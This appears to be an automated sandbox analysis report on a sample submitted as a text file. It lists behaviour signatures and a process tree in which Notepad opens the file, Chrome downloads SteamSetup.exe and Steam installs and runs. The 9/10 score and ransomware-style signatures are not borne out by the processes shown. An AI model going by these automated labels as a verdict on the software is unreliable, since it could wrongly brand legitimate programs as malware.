Analysis
- user interaction
yes - max time kernel
1187s - max time network
1804s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
- submitted
30/07/2026, 17:50
General
- Target message - 2026-07-30T135038.042.txt
- Size 3KB
- Sample260730-wer7jstfnc
- SHA256 83e288643b5eceb0e915c61300814ae2d51196f178e5e55a38f02ef601178648
Score
9/10
Malware Config
Signatures
- Renames multiple (6135) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Downloads MZ/PE file 2 IoCs
- Uses browser remote debugging 2 TTPs 30 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
- Checks computer location settings 2 TTPs 16 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 64 IoCs
- Loads dropped DLL 64 IoCs
- Adds Run key to start application 2 TTPs 7 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in System32 directory 10 IoCs
- Drops file in Program Files directory 64 IoCs
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 4 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies trusted root certificate store through registry 1 TTPs 2 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
- System Location Discovery: System Language Discovery 1 TTPs 12 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 7 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 38 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 21 IoCs
- Kills process with taskkill 3 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 64 IoCs
- Modifies system certificate store 2 TTPs 11 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 3 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 36 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\NOTEPAD.EXEC:\Windows\system32\NOTEPAD.EXE "C:\Users\Admin\AppData\Local\Temp\message - 2026-07-30T135038.042.txt"1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffca049c728,0x7ffca049c734,0x7ffca049c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1928,i,16338349318956841240,10393060987623731237,524288 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2136 /prefetch:32⤵
- Downloads MZ/PE file
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1764,i,3870414439136513122,2661836535924012111,262144 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2104 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2388,i,18374713428844992370,18348430844817780472,524288 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2448 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3248,i,13720533832934500209,14500276675688405012,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3256 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3264,i,6515683588185563757,14601909539530376594,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3300 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4504,i,12173745276150793852,478776452156199220,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4512 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4752,i,5214251182461304214,5663980479028977713,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4736 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4932,i,7837551912352785792,17591025824224121339,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4784 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4888,i,8995806227897436138,8812051008776584305,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5088 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3304,i,14315722517077673629,7705041980406561497,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3260 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5620,i,2687851804241118616,1334663820871742557,524288 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5512 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5212,i,18409820665987494624,15668523997111340286,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4940 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=3244,i,8759876312492834124,5984326273497264858,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3260 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5104,i,11192228353660668713,13604229945264583452,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3308 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5020,i,18074982432069944599,1818603509105023736,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5048 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5628,i,17385226522026216387,6026716585023371526,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3460 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4904,i,6510213238471767465,3620259739017181213,524288 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4880 /prefetch:82⤵
-
-
C:\Users\Admin\Downloads\SteamSetup.exe"C:\Users\Admin\Downloads\SteamSetup.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Steam\bin\steamservice.exe"C:\Program Files (x86)\Steam\bin\steamservice.exe" /Install3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4960,i,6280155692197265731,3050764790539689373,524288 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6048 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4804,i,13245725765035912482,854710844177869798,524288 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6088 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4984,i,16965736350488320064,4022852685337724397,524288 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6112 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6084,i,7718801154769422921,16720607550083858336,262144 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5760 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=1296,i,12665560791161623046,4348119851685312669,524288 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1548 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=4504,i,13574851407417513785,3732652049315347788,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4456 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=4884,i,14001640256029651777,10855999877196450263,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6024 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=6376,i,18305917224225281228,8929915331756270263,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6384 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=6248,i,16805059470252959551,9004844922986752058,2097152 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6488 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3980,i,16435335037244773720,15474568252133666778,524288 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6448 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3968,i,13537708430684019440,8633408501471270610,262144 --field-trial-handle=2108,i,2898211390603070359,17298503686472996500,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4436 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Program Files (x86)\Steam\Steam.exe"C:\Program Files (x86)\Steam\steam.exe" -silent1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies trusted root certificate store through registry
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Steam\Steam.exe"C:\Program Files (x86)\Steam\Steam.exe" -silent2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Steam\Steam.exe"C:\Program Files (x86)\Steam\Steam.exe" -silent3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Checks SCSI registry key(s)
- Checks processor information in registry
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Steam\steamsysinfo.exe"C:\Program Files (x86)\Steam\steamsysinfo.exe" -steamid 0 -buildid 1785187029 -logdir "C:\Program Files (x86)\Steam\logs" -nocrashdialog -query 1 -out-file C:\Users\Admin\AppData\Local\Temp\B8D2.tmp4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" -nocrashdialog "-lang=en_US" "-cachedir=C:\Users\Admin\AppData\Local\Steam\htmlcache" "-steampid=2784" "-buildid=1785187029" "-steamid=0" "-logdir=C:\Program Files (x86)\Steam\logs" "-uimode=7" "-startcount=0" "-steamuniverse=Public" "-realm=Global" "-clientui=C:\Program Files (x86)\Steam\clientui" "-steampath=C:\Program Files (x86)\Steam\Steam.exe" "-launcher=0" --valve-enable-site-isolation --enable-smooth-scrolling "--log-file=C:\Program Files (x86)\Steam\logs\cef_log.txt" --disable-quick-menu --disable-component-update "--gaia-url=http://disabled.invalid" "--enable-features=PlatformHEVCDecoderSupport" "--disable-features=WinRetrieveSuggestionsOnlyOnDemand,SpareRendererForSitePerProcess,DcheckIsFatal,BlockPromptsIfIgnoredOften,WebUsbDeviceDetection,ValveFFmpegAllowLowDelayHEVC"4⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=crashpad-handler /prefetch:4 --max-uploads=5 --max-db-size=20 --max-db-age=5 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files (x86)\Steam\dumps" "--metrics-dir=C:\Users\Admin\AppData\Local\CEF\User Data" --url=https://crash.steampowered.com/submit --annotation=platform=win64 --annotation=product=cefwebhelper --annotation=version=1785187029 --initial-client-data=0x288,0x28c,0x290,0x284,0x294,0x7ffc99adaea0,0x7ffc99adaeac,0x7ffc99adaeb85⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=gpu-process --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1960,i,11428903537181187412,1298139128746175534,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=1964 --mojo-platform-channel-handle=1956 /prefetch:25⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --field-trial-handle=2196,i,11428903537181187412,1298139128746175534,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=2236 --mojo-platform-channel-handle=2232 /prefetch:35⤵
- Executes dropped EXE
- Loads dropped DLL
- System Time Discovery
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --field-trial-handle=2320,i,11428903537181187412,1298139128746175534,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=2412 --mojo-platform-channel-handle=2408 /prefetch:85⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gaia-url=http://disabled.invalid --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=4044,i,11428903537181187412,1298139128746175534,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=4056 --mojo-platform-channel-handle=4052 /prefetch:15⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --field-trial-handle=4964,i,11428903537181187412,1298139128746175534,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5008 --mojo-platform-channel-handle=5036 /prefetch:85⤵
- Executes dropped EXE
-
-
